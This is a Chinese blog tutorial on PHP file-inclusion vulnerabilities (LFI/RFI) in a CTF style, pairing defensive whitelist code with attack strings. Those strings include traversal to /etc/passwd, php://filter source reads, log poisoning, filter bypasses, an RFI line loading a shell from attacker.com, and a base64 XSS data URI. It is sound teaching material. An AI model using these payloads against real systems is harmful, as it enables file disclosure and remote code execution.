当前位置: 首页 > news >正文

php学习(其二)文件包含

介绍:

PHP 文件包含是一种将外部文件内容引入当前脚本的机制,常用于代码复用、模块化开发或动态加载内容。主要通过以下四个函数实现:

  • nclude 'filename':包含文件,失败时仅警告(E_WARNING),脚本继续执行。
  • require 'filename':包含文件,失败时致命错误(E_COMPILE_ERROR),脚本终止。
  • include_once 'filename':与include类似,但确保文件只被包含一次。
  • require_once 'filename':与require类似,但确保文件只被包含一次

文件路径的指定方式

文件路径可以是相对路径或绝对路径:

  • 相对路径:如./subdir/file.php../parent.php
  • 绝对路径:如/var/www/config.phpC:\xampp\htdocs\file.php

使用远程 URL(需allow_url_include启用):

include 'http://example.com/remote.php'; // 需配置允许

安全风险与防护措施

漏洞风险

  • 本地文件包含(LFI):攻击者操纵路径读取敏感文件(如/etc/passwd)。
  • 远程文件包含(RFI):包含恶意远程服务器上的代码。

防护建议

  • 禁用allow_url_include(默认关闭)。
  • 校验用户输入的包含路径,避免直接拼接
$allowed = ['home.php', 'about.php']; $page = $_GET['page']; if (in_array($page, $allowed)) { include "pages/{$page}"; }

本地文件包含:

本地文件包含(LFI),顾名思义就是包含本地的文件,这里所说的本地指的是相对于对方服务器的本地,也就是目标服务器上。

这是个典型的本地包含漏洞,并没有限制后缀,可以包含任意格式的文件,利用”../”可以跨目录,另外如果包含的文件非php可执行代码,会把文件内容打印出来,攻击者可通过构造类似?file=/etc/passwd的请求读取系统文件。

防范方法:

输入验证与过滤

$allowed_files = ['page1.php', 'page2.php']; $file = $_GET['file']; if (in_array($file, $allowed_files)) { include($file); } else { die('Invalid file requested.'); }

使用白名单机制限制可包含的文件路径,避免动态包含用户输入

$base_dir = '/var/www/safe_dir/'; $file = basename($_GET['file']); $path = $base_dir . $file; if (file_exists($path) && is_file($path)) { include($path); }

禁用危险函数php.ini中设置:

allow_url_include = Off open_basedir = /var/www/

绝对路径:

绝对路径是从文件系统的根目录开始指定文件或目录位置的完整路径。无论当前工作目录在哪里,绝对路径始终指向同一个位置。

已经知道flag存放在’/flag’文件中,可以直接把路径放在file参数中进行包含

相对路径:

相对路径:从当前目录开始的路径,假设我们当前的目录是/var/www/html/那么我们要访问”/var/www/html/web3/index.php”就可以直接直接用”web3/index.php”来进行访问

想要跳转前一级目录可以用../进行访问文件

文件包含技巧:

文件包含漏洞原理


文件包含漏洞通常由 PHP 的includerequire等函数引发,攻击者可通过参数控制文件路径,读取敏感文件或执行恶意代码。分为本地文件包含(LFI)和远程文件包含(RFI)。

常见利用方法

  • 路径遍历:通过../跳转目录读取系统文件,如/etc/passwd
    示例:?file=../../../../etc/passwd
  • PHP 伪协议:利用php://filter读取源码或编码文件内容。
    示例:?file=php://filter/convert.base64-encode/resource=index.php
  • 日志注入:通过 User-Agent 或访问日志写入 PHP 代码,再包含日志文件执行。
    示例:包含 Apache 日志:?file=/var/log/apache2/access.log
  • RFI 利用:若允许远程包含,可直接包含恶意服务器上的 PHP 文件。
    示例:?file=http://attacker.com/shell.txt

这段代码中限制了被包含的文件的路径,我们想要包含到其他路径下的文件就需要去绕过这个路径。

使用../跳转路径,读取flag内容

绕过防护技巧

  • 过滤绕过:若过滤../,尝试双写、URL 编码或绝对路径。
    示例:....//%2e%2e%2f
  • 长度限制:使用短路径或符号链接缩短路径。
    示例:/proc/self/cwd/index.php(当前进程工作目录)

远程文件包含:

远程文件包含是一种安全漏洞,攻击者通过操纵应用程序的动态文件加载机制,从远程服务器(如HTTP/FTP)加载恶意文件并执行。常见于PHP等脚本语言中未正确过滤用户输入的场景。

原理:

动态文件加载函数(如PHP的includerequire)未对用户输入的路径参数进行严格校验,导致攻击者可注入外部URL路径。例如:

include($_GET['file'] . '.php'); // 若未过滤$_GET['file'],用户可提交`http://attacker.com/shell.txt`

利用条件

  1. 目标系统允许远程文件包含(PHP配置中allow_url_include为On)。
  2. 文件加载函数使用用户可控变量且未过滤特殊字符(如../http://)。
  3. 攻击者能够托管恶意文件(如Webshell)到可访问的远程服务器。

常见攻击方式

  1. 加载恶意脚本:通过包含远程服务器上的PHP Shell文件,直接获取服务器控制权。
  2. 日志文件注入:包含Web服务器日志文件(如/var/log/apache2/access.log),通过User-Agent等字段注入PHP代码。
  3. 利用协议封装器:使用php://inputdata://协议直接执行代码(需配置允许)。

防御措施

  1. 禁用远程包含:在PHP配置中设置allow_url_include=Off
  2. 输入过滤:对用户输入的路径参数进行白名单校验或强制转换为本地文件路径。
  3. 静态文件映射:使用固定文件列表或哈希值替代动态路径加载。
  4. 文件权限控制:限制Web服务器对敏感目录的写入和执行权限。
// 白名单校验 $allowed_files = ['home.php', 'profile.php']; if (in_array($_GET['file'], $allowed_files)) { include($_GET['file']); } else { die('Invalid file request.'); }

包含+伪协议

介绍:

伪协议(Pseudo-Protocol)是一种非标准化的协议,通常用于特定应用程序或环境中实现特殊功能。伪协议不遵循标准协议规范,但可能模拟标准协议的行为。

PHP伪协议事实上就是PHP支持的协议与封装协议,主要用来约束数据交互的方法和流程,PHP所支持的伪协议共12种:

a. file:// — 访问本地文件系统

b. http:// — 访问 HTTP(s) 网址

c. ftp:// — 访问 FTP(s) URLs

d. php:// — 访问各个输入/输出流(I/O streams) php://filter/read=convert.base64-encode/resource=flag

e. zlib:// — 压缩流

f. data:// — 数据(RFC 2397)

g. glob:// — 查找匹配的文件路径模式

h. phar:// — PHP 归档

phar://zip文件名/shell名

i. ssh2:// — Secure Shell 2

j. rar:// — RAR k. ogg:// — 音频流

l. expect:// — 处理交互式的流

常见伪协议示例:

data:用于在URL中直接嵌入数据,格式为data:[<mediatype>][;base64],<data>。例如,data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==会解码为<script>alert(1)</script>

javascript:允许在URL中执行JavaScript代码。例如,javascript:alert('Hello')会触发弹窗。现代浏览器已限制其使用。

about:显示浏览器内部信息或配置页面。例如,about:blank打开空白页,about:config用于Firefox高级设置。

http://www.jsqmd.com/news/669815/

相关文章:

  • Visio绘制技术架构图:Graphormer模型微服务部署架构详解
  • 璀璨星河Starry Night Art Gallery部署教程:Streamlit镜像一键开箱即用
  • “黑箱”终结者来了:SITS2026首创的Drug-Reasoning Graph如何让AGI决策路径满足EMA AI监管沙盒审计要求?
  • Swift-All评测实战:RM模型评估全流程,附优化建议与案例
  • SecGPT-14B效果展示:对恶意Office宏VBA代码进行行为沙箱级语义分析
  • Prompt Engineering技术路线梳理
  • VC++运行时全版本部署指南
  • Arm Linux中断溯源(一)
  • [特殊字符] Meixiong Niannian画图引擎负面Prompt优化效果:去水印/去畸变实测
  • 【源码深度】Android 反射·注解·代理·AOP·Hook全解析|Android全栈体系150讲-25
  • PP-DocLayoutV3法律文书应用:合同/判决书/公证材料非规则排版智能分割
  • MinerU文档AI效果展示:工程图纸截图中尺寸标注+材料说明+工艺要求语义关联解析
  • 数字黑洞:揭秘6174的神奇数学现象
  • 手把手实战:用阿里云ECS从零搭建一套可用的VOS测试环境(含SIP线路对接调试)
  • 一键体验GPT-SoVITS:Docker部署+语音合成实战教程
  • 【2026奇点大会权威解码】:AGI如何重构全球能源管理范式?3大颠覆性技术路径首次公开
  • 模块解耦的重要性
  • DDColor镜像灰度发布:A/B测试不同模型版本着色效果的实施方案
  • BGE-Large-Zh效果展示:天气预报查询与气象文档匹配的语义精准度验证
  • Qwen3-0.6B-FP8实战教程:API接口测试与LLM应用框架无缝对接
  • Windows11安装VC++6.0中文版全攻略
  • SITS2026到底测什么?3大认知维度、7类推理任务、12项泛化指标全拆解:AGI开发者不可错过的准入标尺
  • 基于java的叙事之眼系统自动化测试
  • Spring with AI (): 评估答案——UnitTest引入
  • MySQL中如何使用UPPER转大写字母_MySQL文本格式化函数
  • RMBG-2.0功能体验:蒙版查看、一键下载,完整操作流程
  • LeetCode 594题‘磁带利用率’详解:从背包DP到贪心交换,附C++完整代码与三大易错点
  • 5分钟部署Qwen2.5-VL-7B视觉模型:Ollama让多模态AI触手可及
  • 用了5款降AI率工具后,到底哪个好?真实排名告诉你
  • Fish Speech 1.5语音合成AB测试:不同temperature下自然度主观评分对比